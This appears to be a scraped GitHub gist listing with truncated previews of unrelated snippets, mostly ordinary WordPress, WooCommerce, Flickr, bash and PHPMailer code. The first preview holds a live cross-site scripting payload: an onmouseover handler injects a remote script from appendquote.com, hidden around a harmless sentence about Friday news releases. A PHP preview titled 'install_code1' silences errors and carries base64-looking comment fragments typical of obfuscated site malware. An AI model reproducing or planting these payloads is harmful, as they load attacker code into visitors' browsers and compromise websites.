This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[<a href="http://" title="]" rel="nofollow"></a>[" <!-- style=font-size:99px;top:50px;position:relative; onmouseover="script=document.createElement('script');script.src='http://appendquote.com/js/js.php';script.type='text/javascript';document.body.appendChild(script);">1 -->Because Internet usage, and news consumption in general, typically drop over the weekend, when someone puts out news that they hope few people will notice, they usually announce it Friday late afternoon or evening.<a></a>] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [ -z "$(command -v curl)" ]; then | |
echo "####################################" | |
echo "Installing CURL" | |
echo "####################################" | |
apt-get update | |
apt-get install curl -y | |
fi | |
CURL_BIN=$(command -v curl) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//抽圖片出來處理 HTTP -> HTTPS | |
@$dom->loadHTML(mb_convert_encoding($content, 'HTML-ENTITIES', 'UTF-8'), LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); | |
$images = $dom->getElementsByTagName('img'); | |
foreach ($images as $image) { | |
$image->removeAttribute('alt'); | |
$image->removeAttribute('width'); | |
$image->removeAttribute('height'); | |
$image->removeAttribute('title'); | |
$image->removeAttribute('original'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* 作者: Chun | |
* 說明: 此程式使用於請求( https://www.flickr.com/account )下載完整的 Flickr 檔案,整理照片檔案。 | |
* 使用方法: 將所有檔案解壓縮至 Flickr 資料夾後,將此程式放於 Flickr 上一層。 | |
* 執行程式指令: php -f flickr.php (將此段程式儲存並命名為 flickr.php) | |
**/ | |
function filename_safe($name) { | |
$except = array('\\', '/', ':', '*', '?', '"', '<', '>', '|', ' '); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function mxp_wp_diagnostic_info() { | |
global $table_prefix; | |
global $wpdb; | |
/* | |
* WordPress & Server Environment | |
*/ | |
$output = 'site_url: '; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function mxp_get_post_edit_log($new_status, $old_status, $post) { | |
if ($post->post_type != "page") { | |
return; | |
} | |
//取得編修人 | |
$current_user = wp_get_current_user(); | |
//組合紀錄格式 | |
$sp_line = "-.-.-.-.-.-.-.-.-.-.-.-"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!doctype html> | |
<title>Site Maintenance</title> | |
<style> | |
body { text-align: center; padding: 150px; } | |
h1 { font-size: 50px; } | |
body { font: 20px Helvetica, sans-serif; color: #333; } | |
article { display: block; text-align: left; width: 650px; margin: 0 auto; } | |
a { color: #dc8100; text-decoration: none; } | |
a:hover { color: #333; text-decoration: none; } | |
</style> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//install_code1 | |
error_reporting(0); | |
ini_set('display_errors', 0); | |
//dhSEFLYVdZZ0tHbHpjMlYwS0NSZlVrVlJW | |
DEFINE('MAX_LEVEL', 2); | |
//bGF5X2Vycm9ycycsIDApOwovLzJoa | |
DEFINE('MAX_ITERATION', 50); | |
//NuYm1WM1pHOXRZV2x1SjEwcEt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function mxp_hidden_checkout_fields_base_on_shipping_method($value) { | |
// 判斷當前選擇到的運送方式 | |
$chosen_methods = WC()->session->get('chosen_shipping_methods'); | |
$chosen_shipping = current(explode(':', $chosen_methods[0])); | |
if ($chosen_shipping == 'local_pickup') { | |
$fields = WC()->checkout->get_checkout_fields('billing'); | |
$html = ""; | |
foreach ($fields as $key => $field) { | |
$field['return'] = true; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$service = new Google_Service_Gmail($client); | |
try { | |
$mail = new PHPMailer(); | |
$mail->CharSet = "UTF-8"; | |
$mail->From = "發信端信箱"; | |
$mail->FromName = "發信端別名"; | |
$mail->AddAddress("收信端信箱", "收信端別名"); | |
$mail->AddReplyTo("回信端信箱", "回信端別名"); | |
$mail->Subject = "信件主題"; |